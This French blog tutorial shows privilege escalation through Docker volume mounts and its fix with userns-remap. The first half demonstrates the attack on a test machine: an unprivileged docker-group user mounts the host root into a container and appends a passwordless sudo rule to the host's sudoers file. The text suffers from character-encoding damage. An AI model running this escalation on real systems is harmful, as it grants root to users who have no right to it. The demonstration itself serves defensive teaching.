Sécurisation du montage de volume de docker
Lecture 5 min. âą
Table des matiĂšres

Bonjour aujourdâhui on va faire de la sĂ©curitĂ© informatique.
Docker est un outils fantastique mais peut devenir la pire des failles de sécurité.
On va dĂ©couper lâarticle en 2 parties:
- Dâabord lâexploit qui permet lâescalade de privilĂšges
- Comment combler cette faille
Mise en place de lâexploit
Je vais faire ma démo sur une Ubuntu 20.04
Via lâutilisateur priviligĂ© (root ou sudo).
On installe docker
apt install docker.ioOn créé un utilisateur non-priviligié, sans homedir et sans login.
adduser --no-create-home --disabled-password --disabled-login aliceOn ajoute lâutilisateur alice au group docker
usermod -aG docker aliceOn créé un dossier de travail
mkdir -p /opt/workOn donne lâownership de ce dossier Ă alice
chown alice:alice /opt/workOn va maintenant devenir alice
su aliceOn vĂ©rifie quâon est bien alice
$ id
uid=1000(alice) gid=119(docker) groups=119(docker),1000(alice)VĂ©rifions quâon a 0 droit priviligiĂ©.
$ echo test >> /flag
bash: /flag: Permission deniedBon visiblement on est pas root.
On vĂ©rifie que lâon a le droit dâutiliser docker
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESDirection le dossier de travail
cd /opt/workMaintenant on créé ce Dockerfile, il va nous permettre dâutiliser notre volume. Jâutilise lâimage ubuntu pour avoir un shell, mais on peut le faire avec toute sorte dâimage de la plus simple Ă la plus compliquĂ©e.
FROM ubuntu
ENV WORKDIR /opt/workdir
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIRConstruisons notre joli cheval de Troie.
docker build -t trojan .Maintenant on va faire un truc rigolo ( pas pour la machine cible đ ).
On va monter / dans notre container!
docker run -it -v /:/opt/workdir trojan bashEt lĂ on commence Ă jouer đ
Avec le shell du container
# echo "I was here" > /opt/workdir/flagPas de denied! đš
Câest pas le pire, connectez vous avec une autre session utilisateur priviligiĂ© sur le serveur hĂŽte de docker.
# cat /flag
I was hereBon on vient dâĂ©crire dans / depuis un container en lançant celui-ci avec un utilisateur non-privilĂ©giĂ©.
Mais il y a bien pire !! MĂȘme si on est dĂ©jĂ game over !!!
echo "alice ALL=(ALL) NOPASSWD: ALL" >> /opt/workdir/etc/sudoersOui visudo câest lĂ pour la dĂ©coration!
On sort du container.
Puis
sudo su# id
uid=0(root) gid=0(root) groups=0(root)Et voilĂ câest la fin des temps. Vous laissez un utilisateur runner un container et il devient root !

On sécurise
Heureusement il y a une parade Ă tout ça. Et ceci sâappelle le userns-remap.
LâidĂ©e de base est simple, si le container nâa pas explicitement le droit de monter un dossier de lâhost on remap lâutilisateur du dossier vers un autre utilisateur.
Cela Ă pour effet de passer en readonly le montage.
En utilisant votre session priviligiée.
Tout dâabord on dĂ©fini un fichier /etc/docker/daemon.json. Sâil nâexiste pas dĂ©jĂ , vous devez le crĂ©er.
{
"userns-remap": "default"
}Ensuite vous devez redémarrer le service docker
service docker restartDeux fichier ont été créé/mise à jour.
# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536Ce que signifie câest fichier câest que les uid des utilisateurs du systĂšme hĂŽte sont remappĂ© dans les containers vers des uid/gid diffĂ©rents, dans le cas prĂ©sent le 65536.
Or cette utilisateur nâaura aucun moyen de se faire passer pour le root 0 de la machine hĂŽte et donc aucun moyen de modifier le /.
Un autre phénomÚne est apparu aussi. Un dossier de namespace a été créé.
# ls -la /var/lib/docker
...
drwx------ 14 165536 165536 4096 Mar 8 10:46 165536.165536
...Il appartient Ă lâutilisateur 165536. Si vous avez fait un peu de python dans votre vie, câest lâĂ©quivalent dâun virtualenv.
Il contient une copie de la structure de /var/lib/docker.
A ceci prĂšs que le dossier nâappartient pas Ă root!
Retournons avec alice. (pensez bien Ă la retirer des sudoers).
Si on refait un coup de
docker imagesCâest vide.
On est reparti
docker build -t trojan .On monte / de nouveau dans le container.
docker run -it -v /:/opt/workdir trojan bashAvec le shell du container

Ah câest Ă©trange, il y a un utilisateur nobody Ă la place de root.
Continuons mais ça sent la poudre
# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission deniedOh beaucoup mieux !! đ€©
On essaie mĂȘme pas sudoers, ça passera pas. :D
On vient de combler notre faille de sécu ^^
Bonus: Monter un volume légitime en écriture
Câest bien tout ça mais si je veux monter un dossier en Ă©criture je fais comment ?
Pour le moment on ne peut pas.
Si vous créé un montage lĂ©gitime avec lâutilisateur alice
mkdir -p /opt/work/data
touch /opt/work/data/testQue vous montez ça
$ docker run -it -v $(pwd)/data:/opt/workdir trojan ls -la
total 8
drwxrwxr-x 2 nobody nogroup 4096 Mar 8 11:13 .
drwxr-xr-x 1 root root 4096 Mar 8 11:00 ..
-rw-rw-r-- 1 nobody nogroup 0 Mar 8 11:12 testOn a le mĂȘme soucis, on est en nobody comme owner, et donc les accĂšs en Ă©criture seront interdit.
Si vous vous rappelez des
# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536Je vous avais parlé de mapping
Ben on va se créer un mapping pour notre utilisateur alice qui lui permettra de monter en écriture le volume mais sans lui permettre de monter / en écriture aussi.
Dans un shell privilégié.
username="alice"
uid=$(id -u "$username")
gid=$(id -g "$username")
lastuid=$(( uid + 65536 ))
lastgid=$(( gid + 65536 ))
usermod --add-subuids "$uid"-"$lastuid" "$username"
usermod --add-subgids "$gid"-"$lastuid" "$username"Ces deux commandes ont pour rĂŽle de modifier ainsi les fichiers
# cat /etc/subuid
alice:1000:65537
dockremap:165536:65536
# cat /etc/subgid
alice:1000:65537
dockremap:165536:65536On modifie ensuite le /etc/docker/daemon.json en conséquence.
{
"userns-remap": "alice:alice"
}On redémarre le service docker
service docker restartUn nouveau namespace /var/lib/docker/1000.1000 se créé.
Dans le shell de alice
docker imagesCâest vide de nouveau.
On est recréé lâimage
docker build -t trojan .On monte / de nouveau dans le container.
docker run -it -v /:/opt/workdir trojan bashOn tente lâĂ©criture
# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission deniedParfait, on a pas retrouĂ© la sĂ©cu du container. đ
On quitte le container puis
docker run -it -v $(pwd)/data:/opt/workdir trojan bashDans le shell du container
# ls -la
total 8
drwxrwxr-x 2 root root 4096 Mar 8 11:13 .
drwxr-xr-x 1 root root 4096 Mar 8 11:00 ..
-rw-rw-r-- 1 root root 0 Mar 8 11:12 testça sent bon đ
echo "I was here" > testOn quitte le container
# cat data/test
I was hereYes đ„ł
Conclusion
On vient dâapprendre Ă combler une faille majeure de docker et du montage de volume.
Je pense bien quâil doit encore rester des montagnes dâexploit, mais ça sera tout pour aujourdâhui :D
Vous remercie de mâavoir lu et je vous dis Ă la prochaine ^^
Si je raconte des conneries, nâĂ©sitez pas Ă me le dire en commentaires, je dĂ©bute dans la sĂ©cu đ